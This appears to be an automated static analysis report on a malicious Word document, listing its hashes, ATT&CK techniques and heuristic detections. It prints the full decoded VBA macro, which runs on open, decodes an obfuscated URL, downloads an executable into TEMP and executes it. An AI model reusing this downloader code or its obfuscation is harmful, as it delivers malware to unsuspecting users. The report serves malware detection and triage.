Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 42efc98ed3f157b3…

MALICIOUS

Office (OLE)

32.0 KB Created: 2015-01-23 23:53:00 Authoring application: Microsoft Office Word First seen: 2015-03-15
MD5: 7a1d5c9f65cee7c20ec92c4c41657cd7 SHA-1: 51288bc2d82da2c7a49c7c16e6b99dc1e9dbbf9a SHA-256: 42efc98ed3f157b3a607a768e49f00f28a5f3eaeac167b9f7007a5510e3d8aec
276 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. The autoopen macro triggers a function that uses URLDownloadToFileA to download a file from a hardcoded, obfuscated URL and then executes it using the Shell function. This indicates a downloader or droppper functionality.

Heuristics 8

  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    uiLb = Shell(j4B1GyX, 1)
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        "URLDownloadToFileA" (ByVal fdgsdfFF As LongPtr, _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ZIoX79I wUnMnysKtQAKQMZpELN("hytit5pm:D/@/‚hle/wЂ.oh%o9m|e|pcacg4eD.\t.-To,nZl}i0n}ex.md,e&/Rj3sG/SbKibn‚.„eIxLe^"), Environ(wUnMnysKtQAKQMZpELN("T^M‚P|")) & wUnMnysKtQAKQMZpELN("\D3$294D2=3S5t2v3;5>.Pe~xYe.")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2406 bytes
SHA-256: 997b9c3e9d4be003203673b402623fcb90a5ad201e2f72bc6e4818bb935c6862
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
qK3M8Yvc
End Sub


Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "fdgfdgfdg"
#If VBA7 Then
    Private Declare PtrSafe Function dfsdfsdffg Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal fdgsdfFF As LongPtr, _
    ByVal gfhgfhF As String, _
    ByVal hjkhgFF As String, _
    ByVal gfhfghF As Long, _
    ByVal gfdgdf As LongPtr) As LongPtr
#Else
    Private Declare Function dfsdfsdffg Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal fdgsdfFF As Long, _
    ByVal gfhgfhF As String, _
    ByVal hjkhgFF As String, _
    ByVal gfhfghF As Long, _
    ByVal gfdgdf As Long) As Long
#End If

Sub qK3M8Yvc()
ZIoX79I wUnMnysKtQAKQMZpELN("hytit5pm:D/@/‚hle/wЂ.oh%o9m|e|pcacg4eD.\t.-To,nZl}i0n}ex.md,e&/Rj3sG/SbKibn‚.„eIxLe^"), Environ(wUnMnysKtQAKQMZpELN("T^M‚P|")) & wUnMnysKtQAKQMZpELN("\D3$294D2=3S5t2v3;5>.Pe~xYe.")
End Sub
Function ZIoX79I(D8PeV0 As String, j4B1GyX As String) As Boolean
vJHKBJdfkgfg = dfsdfsdffg(0&, D8PeV0, j4B1GyX, 0&, 0&)
uiLb = Shell(j4B1GyX, 1)
End Function





Attribute VB_Name = "Module2"

Public Function wUnMnysKtQAKQMZpELN(biBIyeZaYdOH As String) As String
GoTo kuddPCezMbIaLPpebUn
kuddPCezMbIaLPpebUn:
For tTFUZcTsUAkgUp = 1 To Len(biBIyeZaYdOH) Step 2
GoTo BHDOSh
BHDOSh:
GoTo NYRvLeyRLBhqqp
NYRvLeyRLBhqqp:
GoTo YfJVVl
YfJVVl:
GoTo kIYQAilFim
kIYQAilFim:
GoTo gtgSuQOrZqcgFgrl
gtgSuQOrZqcgFgrl:
wUnMnysKtQAKQMZpELN = wUnMnysKtQAKQMZpELN & Mid(biBIyeZaYdOH, tTFUZcTsUAkgUp, 1)
GoTo tRJGRjxSGPojLNuOTcRx
tRJGRjxSGPojLNuOTcRx:
GoTo FKhovanmCFIAZoh
FKhovanmCFIAZoh:
GoTo BVyDQNwJjjKS
BVyDQNwJjjKS:
GoTo bGfwQwHBTDaJUbQ
bGfwQwHBTDaJUbQ:
Next
GoTo VQhEzdeKRksiNIJHM
VQhEzdeKRksiNIJHM:
GoTo LcDCSILCcEkhPD
LcDCSILCcEkhPD:
GoTo FTeMMzzbjwYrQvMZN
FTeMMzzbjwYrQvMZN:
GoTo QTqalrnyPQmnxU
QTqalrnyPQmnxU:
End Function